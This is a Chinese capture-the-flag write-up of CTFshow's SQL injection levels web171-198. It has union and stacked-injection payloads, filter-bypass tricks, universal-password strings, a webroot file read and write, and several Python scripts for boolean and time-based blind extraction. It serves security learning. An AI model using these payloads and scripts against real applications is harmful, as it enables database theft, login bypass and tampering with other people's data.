CTFshow-WEB入门-SQL注入(上)

web171

无任何过滤，直接注就完事了。

' union select 1,2,group_concat(password) from ctfshow_user-- -

web172

' union select 1,group_concat(password) from ctfshow_user2--+

web173

' union select 1,2,group_concat(password) from ctfshow_user3-- -

虽然对返回的结果进行了过滤flag，但是flag是username为flag的那一行,password是对应的flag，联合查询让username不回显出来即可。
当然了，如果想要不回显出flag，用函数对数据进行处理也是可以的。比如hex或者to_base64：

to_base64(username)
hex(username)

web174

返回的结果里既不能有flag这个字符串，也不能有数字。第一反应是盲注，写个python脚本：

# @Author:feng
import requests

url='http://5a108e2e-9059-4d80-9d86-af05ad5a7af8.chall.ctf.show/api/v4.php'

flag=''
for i in range(1,100):
    length=len(flag)
    min=32
    max=128
    while 1:
        j=min+(max-min)//2
        if min==j:
            flag+=chr(j)
            print(flag)
            break

        payload="?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag'),%d,1))<%d,'fengyes','fengno') -- -"%(i,j)

        r=requests.get(url=url+payload).text
        #print(r)

        if 'fengyes' in r:
            max=j
        else :
            min=j

web175

这下彻底彻底没法有输出了，0x00-0x7e都没了，因此考虑时间盲注，把上面的脚本改改就行了：

# @Author:feng
import requests
from time import time

url='http://774b555f-930c-4ab9-acbe-7ef82922d659.chall.ctf.show/api/v5.php'

flag=''
for i in range(1,100):
    length=len(flag)
    min=32
    max=128
    while 1:
        j=min+(max-min)//2
        if min==j:
            flag+=chr(j)
            print(flag)
            break

        payload="?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user5 where username='flag'),%d,1))<%d,sleep(0.5),1) -- -"%(i,j)

        start_time=time()
        r=requests.get(url=url+payload).text
        end_time=time()
        #print(r)


        if end_time-start_time>0.48:
            max=j
        else :
            min=j

也可以into outfile注入，这个姿势我之前几题就想直接写马搞了，不过猜测应该没写权限就没做，看了一下大师傅们的WP，还真有写权限。。。所以这是第二种方法：

' union select 1,group_concat(password) from ctfshow_user5 into outfile '/var/www/html/3.txt'-- -

web176

挺难看出来具体过滤了什么，因为这个过滤好像是把过滤的给置空，然后造成sql语句错误，语句错误才会报错，但是单一的测试比较难知道具体过滤了什么，和怎么过滤的，所以写了个python脚本跑了一下：

# @Author:feng
import requests

url="http://ddbdba2c-d242-42ef-a567-466943da6753.chall.ctf.show/api/?id="

flag=""
for i in range(1,100):
    payload="' or 'select' like '{}'-- -".format('_'*i)
    r=requests.get(url=url+payload).text
    if "\\u67e5\\u8be2\\u6210\\u529f" in r:
        length=i
        print("length="+str(i))
for i in range(1,length+1):
    for j in range(0,128):
        if j==37 or j==95:
            continue
        cj=chr(j)
        payload="' or 'select' like '{}'-- -".format((flag+cj)+'_'*(length-i))
        #print(payload)
        r=requests.get(url=url+payload).text
        #print(r)
        if "\\u67e5\\u8be2\\u6210\\u529f" in r:
            flag+=cj
            print(flag)
            break

经过测试，是把黑名单中的字符串替换成了CTFSHOW。也就怪不得会查询失败了。

弄清楚了waf是怎么写的，再看这题怎么解了。最简单的就是直接' or 1=1-- -，会发现直接最后一行出flag。
正常的SQL注入就还是联合注入，最后发现waf里面应该区分了大小写，所以可以大写绕过select的过滤：

' union selecT 1,2,group_concat(password) from ctfshow_user-- -

web177

在上一题的基础上过滤了空格，可以拿/**/，%0a等来绕过。最后的注释拿%23就可以了，因此万能密码直接出：

'/**/or/**/1=1%23
'%0aor%0a1=1%23
'or(1=1)%23

因为仍然可以大写绕过来注入，所以union注入和上一题的姿势差不多：

'/**/union/**/selecT/**/1,2,password/**/from/**/ctfshow_user%23

web178

/**/不行了，%0a，%09,%0b,%0c,%0d和括号都可以，万能密码和union都行。
union查询用括号：

'union(select(1),2,(password)from(ctfshow_user))%23

web179

%0c还能用，剩下的没区别。
看了一下另一个大师傅的WP，发现万能密码还能这样：

1'or'1'='1'%23

根本不需要空格，学到了，还是基础太差了。

web180

把%23给ban，后面的就没法注释掉了，只能’1’='1这样来闭合后面：

'union%0cselecT%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%0cwhere%0c'1'='1

还有Y4tacker师傅的这种姿势：

'or(id=26)and'1'='1

放进去就是：

where username !='flag' and id = ''or(id=26)and'1'='1' limit 1;";

因为and的优先级比or大，相当于

(username !='flag' and id = '')  or  (id=26and'1'='1')

所以左边为0但是右边是1，所以where的条件是1，id=26正好是flag的那一个元组。非常巧妙。

web181

除了括号，其他可以代替空格的都给过滤了， 而且SELECT还不区分大小写了，所以最好的方式还是上面那个：

'or(id=26)and'1'='1

当然因为ban的东西并不多，布尔和时间盲注都是可以的。

web182

同上。

web183

太菜了。。思维实在太局限了，真的就是题目给我在from的位置，我就光想着怎么from注入，完全没考虑到后面的where是可控的。
知道了where可控，写个python脚本盲注一下就可以了，思路比较简单，把脚本看一遍就懂思路了：

# @Author:feng
import requests

url="http://b5843871-a72c-4b56-857c-ff1310ebfc19.chall.ctf.show/select-waf.php"

flag="ctfshow{"
for i in range(0,100):
    for j in "0123456789abcdefghijklmnopqrstuvwxyz-{}":
        data={
            'tableName':"(ctfshow_user)where(pass)like'{}%'".format(flag+j)
        }
        r=requests.post(url=url,data=data).text
        if "$user_count = 1" in r:
            flag+=j
            print(flag)
            if j=='}':
                exit()
            break

web184

在上一题的基础上又ban了一些东西，比较重要的就是把where给ban了。想了一下，因为前面使用的是count(*)，是聚合函数，所以我们可以构造group by 和having子句，在having里面进行盲注。但是试了试发现group by的构造中间必须有空格，拿括号绕不过，我又去看了一下正则，发现没过滤空格，草。。。。
所以在改改自己的python脚本，写个having盲注。还有一个问题就是单双引号也给过滤了，那么like那里拿十六进制绕过一下就可以了：

# @Author:feng
import requests

def str_to_hex(s):
    return ''.join([hex(ord(c)).replace('0x', '') for c in s])

url="http://3ff8724d-3620-45f7-86bc-c38131ecec72.chall.ctf.show/select-waf.php"

flag="ctfshow{"
for i in range(0,100):
    for j in "0123456789abcdefghijklmnopqrstuvwxyz-{}":
        data={
            'tableName':"ctfshow_user group by pass having pass like {}".format("0x"+str_to_hex(flag+j+"%"))
        }
        r=requests.post(url=url,data=data).text
        if "$user_count = 1;" in r:
            flag+=j
            print(flag)
            if j=='}':
                exit()
            break

看了一下Y4tacker师傅的WP，没用having用的是on，妙啊！大师傅真的是对SQL掌握的很熟啊。连接查询我第一次在SQL注入里见到，以前觉得SQL注入用不到它，现在突然想起来on那里也可以进行盲注，实在是太妙了！
把脚本的data那里改一下就可以了：

# @Author:feng
import requests

def str_to_hex(s):
    return ''.join([hex(ord(c)).replace('0x', '') for c in s])

url="http://3ff8724d-3620-45f7-86bc-c38131ecec72.chall.ctf.show/select-waf.php"

flag="ctfshow{"
for i in range(0,100):
    for j in "0123456789abcdefghijklmnopqrstuvwxyz-{}":
        data={
            'tableName':"ctfshow_user a inner join ctfshow_user b on b.pass like {}".format("0x"+str_to_hex(flag+j+"%"))
        }
        r=requests.post(url=url,data=data).text
        if "$user_count = 22;" in r:
            flag+=j
            print(flag)
            if j=='}':
                exit()
            break

web185

跪了，把数字ban了想着可以通过一些ascii这样的函数搞出来，但是单双引号都ban了就没想到好的构造的方法。不过还是遗忘了mysql的数学函数，还有true：

所以利用true,char就可以构造出数字了，写个脚本就可以：

# @Author:feng
import requests

def str_to_hex(s):
    return ''.join([hex(ord(c)).replace('0x', '') for c in s])

def createNum(n):
    num = 'true'
    if n == 1:
        return 'true'
    else:
        for i in range(n - 1):
            num += "+true"
    return num

def createStrNum(s):
    str=""
    str+="chr("+createNum(ord(s[0]))+")"
    for i in s[1:]:
        str+=",chr("+createNum(ord(i))+")"
    return str

url="http://5efd36ce-c7c3-4751-893e-3c9baf758368.chall.ctf.show:8080/select-waf.php"

flag="ctfshow{"
for i in range(0,100):
    for j in "0123456789abcdefghijklmnopqrstuvwxyz-{}":
        data={
            'tableName':"ctfshow_user group by pass having pass like(concat({}))".format(createStrNum(flag+j+"%"))
        }
        r=requests.post(url=url,data=data).text
        if "$user_count = 0;" not in r:
            flag+=j
            print(flag)
            if j=='}':
                exit()
            break

参考了y4师傅的脚本：

# @Author:Y4tacker
import requests

url = "http://341e93e1-a1e7-446a-b7fc-75beb0e88086.chall.ctf.show/select-waf.php"

flag = 'flag{'


def createNum(n):
    num = 'true'
    if n == 1:
        return 'true'
    else:
        for i in range(n - 1):
            num += "+true"
    return num


for i in range(45):
    if i <= 5:
        continue
    for j in range(127):
        data = {
            "tableName": f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{createNum(i)},{createNum(1)})regexp(char({createNum(j)})))"
        }
        r = requests.post(url, data=data)
        if r.text.find("$user_count = 43;") > 0:
            if chr(j) != ".":
                flag += chr(j)

                print(flag.lower())
                if chr(j) == "}":
                    exit(0)
                break

web186

同上。

web187

太菜了。。就是sql注入里面md5(‘xxx’,true)这个考点，之前了解过，现在看到了又一点印象都没有了。
原因参考一下y4tacker师傅的文章：[SQL绕过]md5($str,true)类型绕过----题目来源CTFSHOW—web9
ffifdyop这个字符串md5 ,true的结果是’or’6�]��!r,��b，因此在题目中就变成了

where username = 'admin' and password= ''or'6�]��!r,��b'

还需要知道一下mysql进行布尔判断的一个知识：

在mysql里面，在用作布尔型判断时，以1开头的字符串会被当做整型数。要注意的是这种情况是必须要有单引号括起来的，比如password=‘xxx’ or ‘1xxxxxxxxx’，那么就相当于password=‘xxx’ or 1 ，也就相当于password=‘xxx’ or true，所以返回值就是true。当然在我后来测试中发现，不只是1开头，只要是数字开头都是可以的。
当然如果只有数字的话，就不需要单引号，比如password=‘xxx’ or 1，那么返回值也是true。（xxx指代任意字符）

所以上面就相当于一个万能密码了，然后就可以得到flag。

web188

又是姿势盲区。。

username=0&password=0

在where username=0这样的查询中，因为username都会是字符串，在mysql中字符串与数字进行比较的时候，以字母开头的字符串都会转换成数字0，因此这个where可以把所有以字母开头的数据查出来。
而password=0的原因在于这里：

if($row['pass']==intval($password)){

没错。。。弱类型比较，看来查出来的pass也都是以字母开头的，所以password=0可以成功弱类型比较，得到flag。
或者

username=1||1&password=0

同样可以把东西都给查出来，妙啊！

web189

也是一个很有意思的题目。我对于load_file的认知一直就是select load_file(xxxx),通过select查询来把文件内容读出来。所以看到题干：flag在api/index.php文件中，我的第一反应就是联合查询读文件。但是进入环境才发现又是这样没回显的题目，而且还把select给ban了，感觉不太可能是load_file。后来想了很久实在没法子又去往load_file去靠，突然想到可以盲注读flag：

username=if((load_file('/var/www/html/api/index.php'))regexp('ctfshow{'),0,1)&password=2

username=0是上一题的姿势，为0返回的是密码错误，是1返回的就是查询失败。正常不会往盲注这边想，是因为要盲注一整个文件太耗时，不可能出这种题目。但是如果只是盲注出这个文件中的flag，那就很简单了。写个python脚本：

# @Author:feng
import requests

url="http://313b5bc7-3d59-4590-93b8-d2b4e834e62b.chall.ctf.show:8080/api/index.php"

flag="ctfshow{"
for i in range(0,100):
    for j in "0123456789abcdefghijklmnopqrstuvwxyz-{}":
        payload="if((load_file('/var/www/html/api/index.php'))regexp('{}'),0,1)".format(flag+j)
        data={
            'username':payload,
            'password':1
        }
        r=requests.post(url=url,data=data)
        if "\\u5bc6\\u7801\\u9519\\u8bef" in r.text:
            flag+=j
            print(flag)
            if j=='}':
                exit()
            break

web190

正常的布尔注入，0过滤，没啥好说的：

# @Author:feng
import requests
from time import time

url='http://97934a65-15ad-4be4-b803-9db19f45f7f7.chall.ctf.show:8080/api/index.php'

flag=''
for i in range(1,100):
    length=len(flag)
    min=32
    max=128
    while 1:
        j=min+(max-min)//2
        if min==j:
            flag+=chr(j)
            print(flag)
            if chr(j)==" ":
                exit()
            break

        #payload="' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{},1,0)-- -".format(i,j)
        #payload="' or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{},1,0)-- -".format(i,j)
        payload="' or if(ascii(substr((select group_concat(f1ag) from ctfshow_fl0g),{},1))<{},1,0)-- -".format(i,j)

        data={
            'username':payload,
            'password':1
        }
        r=requests.post(url=url,data=data).text
        #print(r)
        if r"\u5bc6\u7801\u9519\u8bef" in r:
            max=j
        else :
            min=j

web191

把ascii给ban了，那就不用呗，改1，2行代码就行了：

# @Author:feng
import requests
from time import time

url='http://00b9416c-a0a8-490b-b48b-b2ace6ec42b2.chall.ctf.show:8080/api/index.php'

flag=''
for i in range(1,100):
    length=len(flag)
    min=32
    max=128
    while 1:
        j=min+(max-min)//2
        if min==j:
            flag+=chr(j)
            print(flag.lower())
            if chr(j)==" ":
                exit()
            break

        payload="' or if(substr((select group_concat(f1ag) from ctfshow_fl0g),{},1)<'{}',1,0)-- -".format(i,chr(j))

        data={
            'username':payload,
            'password':1
        }
        r=requests.post(url=url,data=data).text
        #print(r)
        if r"\u5bc6\u7801\u9519\u8bef" in r:
            max=j
        else :
            min=j

web192

加ban了一些东西，但是并不影响上一题的脚本。不过注意到加ban的里面有一个ord函数，在python里挺常见的但是在mysql中倒是第一次见，还是自己太菜了，学的东西太少。查了一下，ascii是返回字符串str的最左面字符的ASCII代码值，而ord返回字符串第一个字符的ASCII 值。乍一看没啥区别，但是我大致扫了一眼可能在处理多字节例如汉字这样的时候有区别？但是就目前SQL注入来说，我只需要知道ord和ascii作用相同就可以了。因此应该上一题的预期解是ord，然后这一题才应该不用ord和ascii盲注，不过问题不大。脚本同上。

web193

substr被ban了，那就直接正则用like,regexp啥的吧不多弄了。还要注意表名改了，要重新注出来：

# @Author:feng
import requests

url='http://aa85bb82-016f-45b0-b0d6-f4fe502a869a.chall.ctf.show:8080/api/index.php'
flag=""
for i in range(0,100):
    for j in "0123456789abcdefghijklmnopqrstuvwxyz-,{}_":
        #payload="' or if((select group_concat(table_name) from information_schema.tables where table_schema=database()) like '{}',1,0)-- -".format(flag+j+"%")
        #payload="' or if((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg') like '{}',1,0)-- -".format(flag+j+"%")
        payload="' or if((select group_concat(f1ag) from ctfshow_flxg) like '{}',1,0)-- -".format(flag+j+"%")

        data={
            'username':payload,
            'password':1
        }
        #print(payload)
        r=requests.post(url=url,data=data)
        #print(payload)
        if r"\u5bc6\u7801\u9519\u8bef" in r.text:
            flag+=j
            print(flag)
            if j=='}':
                exit()
            break

web194

同上。不过看了一下y4师傅的payload，还可以利用locate：

payload = f"admin' and if(locate('{final}',(select f1ag from ctfshow_flxg limit 0,1))=1,1,2)='1"

学到了，以前从来没有利用过locate，新姿势！

# @Author:feng
import requests

url='http://9fc7f0ec-1be2-4649-b08e-119e69324111.chall.ctf.show:8080/api/index.php'
flag=""
for i in range(0,100):
    for j in "0123456789abcdefghijklmnopqrstuvwxyz-,{}_":

        payload="' or if(locate('{}',(select group_concat(f1ag) from ctfshow_flxg))=1,1,0)-- -".format(flag+j)
        data={
            'username':payload,
            'password':1
        }
        r=requests.post(url=url,data=data)
        if r"\u5bc6\u7801\u9519\u8bef" in r.text:
            flag+=j
            print(flag)
            if j=='}':
                exit()
            break

web195

终于做了之前几天我想做的事情了，我之前就想堆叠注入了，但是尝试过看来都不行。这题明示是堆叠注入，但是我发现把空格给过滤了，就很懵不知道该怎么办了。看了一下y4师傅的姿势，原来是反引号，这个姿势我又忘了。。。太差了。。：

0;update`ctfshow_user`set`pass`=1
1

把表里的密码都改成1就可以了。username=0的原因前面也都说过了，不用0的话就0x61646d696e，是admin的十六进制，同样可以。

web196

一脸蒙蔽，觉得16个字符不可能，然后看了一下WP。。。。我真的服了。。。
ban的是se1ect，不是select。。。。草。。。。

1;select(1)
1

web197

利用alter更改列名。一开始想着把username更改为pass，然后查出来的就是字符串用户名，和数字0进行弱类型比较就可以了，但是实际尝试发现不行，看了一下发现这题没有检查传入的password是不是数字，而且没有用intval对password进行处理，所以这样不行，那就把id改成pass，然后爆破id就可以了。
payload：

1;alter table `ctfshow_user` change `pass` `feng` varchar(255); alter table `ctfshow_user` change `id` `pass` varchar(255)

然后username是0或者0x61646d696e，password从1开始用burpsuite爆破即可。

web198

同上。